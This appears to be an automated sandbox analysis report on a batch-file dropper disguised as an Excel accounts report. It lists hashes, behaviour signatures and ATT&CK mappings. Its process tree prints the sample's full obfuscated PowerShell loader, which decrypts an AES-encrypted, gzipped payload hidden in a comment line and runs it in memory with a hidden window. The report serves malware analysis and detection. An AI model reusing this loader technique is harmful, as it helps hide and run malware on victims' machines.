ef69f3e6161a2dbecefb9b991023e062877415ad1c1be084e6d331a91a74e596

Analysis

max time kernel
31s
max time network
33s
platform
windows7_x64
resource
win7-20221111-en
resource tags

arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
submitted
13/02/2023, 12:00

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General

Target
20230209_{Host}_AP_SOA_Report_List_xlsm.bat
Size 2.0MB
Sample230213-n6bd4sda47
SHA256 ef69f3e6161a2dbecefb9b991023e062877415ad1c1be084e6d331a91a74e596
MD5 745d5609cd535a78dea1f9521b6ebf76
SHA1 0b9b2cd65488477f90a79b73d22820bfc32318aa
SHA512 a131c13959cdafb55a97c241720248989042c30f6d88c0e2837f8be783d3eb5ba298258247246e180fdb65380bd548a1b0ca301795f973e59cf0ec882d345eac
SSDEEP 768:BIdCM3EJ5SkOTczv/T6vo6WVjxqSd9X6W6Hm+IOt2c7ZGYgnH:BIV3EJQ4v/T6KFD9qeu
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
940	20230209_{Host}_AP_SOA_Report_List_xlsm.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
1160	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
940	20230209_{Host}_AP_SOA_Report_List_xlsm.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	940	20230209_{Host}_AP_SOA_Report_List_xlsm.bat.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1160 wrote to memory of 940	1160	cmd.exe	29
PID 1160 wrote to memory of 940	1160	cmd.exe	29
PID 1160 wrote to memory of 940	1160	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\20230209_{Host}_AP_SOA_Report_List_xlsm.bat"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1160
- C:\Users\Admin\AppData\Local\Temp\20230209_{Host}_AP_SOA_Report_List_xlsm.bat.exe
  "20230209_{Host}_AP_SOA_Report_List_xlsm.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $EMBHh = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\20230209_{Host}_AP_SOA_Report_List_xlsm.bat').Split([Environment]::NewLine);foreach ($iQiFl in $EMBHh) { if ($iQiFl.StartsWith(':: ')) { $iqlHm = $iQiFl.Substring(3); break; }; };$yRwkm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($iqlHm);$mKTZm = New-Object System.Security.Cryptography.AesManaged;$mKTZm.Mode = [System.Security.Cryptography.CipherMode]::CBC;$mKTZm.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$mKTZm.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JG+Ia3JZe/MKwGbuiHyPmf0ApNMIq96N1brUgIc0hwk=');$mKTZm.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YPz1EBRzBt62/v/7gJf5vw==');$WLuDW = $mKTZm.CreateDecryptor();$yRwkm = $WLuDW.TransformFinalBlock($yRwkm, 0, $yRwkm.Length);$WLuDW.Dispose();$mKTZm.Dispose();$eewXo = New-Object System.IO.MemoryStream(, $yRwkm);$dcVsi = New-Object System.IO.MemoryStream;$pdkvL = New-Object System.IO.Compression.GZipStream($eewXo, [IO.Compression.CompressionMode]::Decompress);$pdkvL.CopyTo($dcVsi);$pdkvL.Dispose();$eewXo.Dispose();$dcVsi.Dispose();$yRwkm = $dcVsi.ToArray();$ahthx = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($yRwkm);$brARz = $ahthx.EntryPoint;$brARz.Invoke($null, (, [string[]] ('')))
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:940

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

20230209_{Host}_AP_SOA_Report_List_xlsm.bat.exe

Path C:\Users\Admin\AppData\Local\Temp\20230209_{Host}_AP_SOA_Report_List_xlsm.bat.exe
Size 462KB
SHA256 a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
MD5 852d67a27e454bd389fa7f02a8cbe23f
SHA1 5330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA512 327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d
SSDEEP 6144:dxGRyCXBgoDhzoNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:CRZgQhIKXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

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20230209_{Host}_AP_SOA_Report_List_xlsm.bat.exe

Path \Users\Admin\AppData\Local\Temp\20230209_{Host}_AP_SOA_Report_List_xlsm.bat.exe
Size 462KB
SHA256 a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
MD5 852d67a27e454bd389fa7f02a8cbe23f
SHA1 5330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA512 327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d
SSDEEP 6144:dxGRyCXBgoDhzoNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:CRZgQhIKXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

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memory/940-57-0x000007FEFB941000-0x000007FEFB943000-memory.dmp

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memory/940-58-0x000007FEF3600000-0x000007FEF4023000-memory.dmp

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memory/940-60-0x0000000002534000-0x0000000002537000-memory.dmp

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memory/940-59-0x000007FEF2AA0000-0x000007FEF35FD000-memory.dmp

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memory/940-61-0x0000000002534000-0x0000000002537000-memory.dmp

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memory/940-62-0x000000000253B000-0x000000000255A000-memory.dmp

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